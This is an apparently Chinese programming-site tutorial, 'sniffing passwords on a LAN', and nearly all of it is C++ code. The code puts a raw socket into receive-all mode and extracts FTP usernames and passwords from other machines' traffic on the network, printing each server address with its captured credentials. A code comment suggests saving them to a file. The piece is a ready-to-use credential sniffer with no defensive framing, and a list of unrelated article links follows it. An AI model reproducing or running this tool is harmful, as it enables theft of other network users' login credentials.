侦听局域网内密码
时间:2022-04-22
本文章向大家介绍侦听局域网内密码,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
只需在前面的网络嗅探程序基础上,添加对搜索出的端口号进行的增加功能即可:
代码如下:
在DecodeIPPacket中添加:
switch(::ntohs(pTCPHdr->destinationPort))
{
case 21:
{
GetFtp((char*)pTCPHdr+sizeof(TCPHeader),pIPHdr->ipDestination);
}
break;
case 80:
case 8080:
break;
}
void GetFtp(char *pData.DWORD dwDestIp)
{
char szBuf[256];
static char szUserName[21];
static char szPassword[21];
if(strnicmp(pData,"USER",5)==0)
{
sscanf(pData+4,"%*[]%s",szUserName);
}
else if(strnicmp(pData,"PASS",5)==0)
{
sscanf(pData+4,"%*[]%s",szPassword);
wsprintf(szBuf,"Server Address:%s;User Name:%s;Password:%s;nn",::inet_ntoa(*(in_addr*)&dwDestIp),szUserName,szPassword);
printf(szBuf);
}
}
完整程序如下:
/////////////////////////////////////////////////
// PasswordMonitor.cpp文件
#include "../common/initsock.h"
#include "../common/protoinfo.h"
#include <stdio.h>
#include <mstcpip.h>
#pragma comment(lib, "Advapi32.lib")
CInitSock theSock;
void GetFtp(char *pData, DWORD dwDestIp)
{
char szBuf[256];
static char szUserName[21];
static char szPassword[21];
if(strnicmp(pData, "USER ", 5) == 0)
{
sscanf(pData + 4, "%*[ ]%s", szUserName);
}
else if(strnicmp(pData, "PASS ", 5) == 0)
{
sscanf(pData + 4, "%*[ ]%s", szPassword);
wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; nn",
::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);
printf(szBuf); // 这里您可以将它保存到文件中
}
}
void DecodeIPPacket(char *pData)
{
IPHeader *pIPHdr = (IPHeader*)pData;
int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);
switch(pIPHdr->ipProtocol)
{
case IPPROTO_TCP:
{
TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);
switch(::ntohs(pTCPHdr->destinationPort))
{
case 21: // ftp协议
{
GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);
}
break;
case 80: // http协议...
case 8080:
break;
}
}
break;
case IPPROTO_UDP:
break;
case IPPROTO_ICMP:
break;
}
}
void main()
{
// 创建原始套节字
SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
// 获取本地IP地址
char szHostName[56];
SOCKADDR_IN addr_in;
struct hostent *pHost;
gethostname(szHostName, 56);
if((pHost = gethostbyname((char*)szHostName)) == NULL)
return ;
// 在调用ioctl之前,套节字必须绑定
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(0);
memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);
printf(" Binding to interface : %s n", ::inet_ntoa(addr_in.sin_addr));
if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)
return;
// 设置SIO_RCVALL控制代码,以便接收所有的IP包
DWORD dwValue = 1;
if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
return ;
// 开始接收封包
printf(" nn begin to monitor ftp password... nn");
char buff[1024];
int nRet;
while(TRUE)
{
nRet = recv(sRaw, buff, 1024, 0);
if(nRet > 0)
{
DecodeIPPacket(buff);
}
}
closesocket(sRaw);
}
执行结果:
- Maven精选系列--发布jar包到Nexus私库
- 《SpringMVC从入门到放肆》五、SpringMVC配置式开发(处理器适配器)
- 《SpringMVC从入门到放肆》四、SpringMVC配置式开发(处理器映射器)
- 什么是Spring Boot?
- 《SpringMVC从入门到放肆》三、DispatcherServlet的url-pattern配置详解
- 《SpringMVC从入门到放肆》二、SpringMVC的执行流程及默认配置
- 《SpringMVC从入门到放肆》一、概述
- Spring import配置文件使用占位符
- 阿里Druid连接池的坑。。
- Go实现海量日志收集系统(二)
- Spring MVC表单防重复提交
- Go基础之锁的初识
- 3种常见的Class级别的错误
- 通过Beego将之前实现的短url项目实现
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Spring中的Spring JSR-250 注释
- WebRTC 入门指南
- 【DB笔试面试844】在Oracle中,tnsnames.ora文件的作用是什么?
- Spring 基于注解(annotation)的配置之@Qualifier注解
- Spring 基于设值函数的依赖注入
- Spring 基于构造函数的依赖注入
- 绕过卡巴进程保护的一些总结
- Loki | 数据过期自动删除策略设计
- 【短道速滑二】古老的基于亮度平均值的自动Gamma校正算法。
- Docker-Compose基础与实战,看这一篇就够了
- 干货-python与安全(一)入门简介
- 怎么在vue的style标签里面使用变量?
- 幼儿园EasyNVR能力层安防监控平台调用视频直播流报404错误解决方案
- C# WinForm捕获全局异常
- 新时代渗透思路!微服务下的信息收集Ⅱ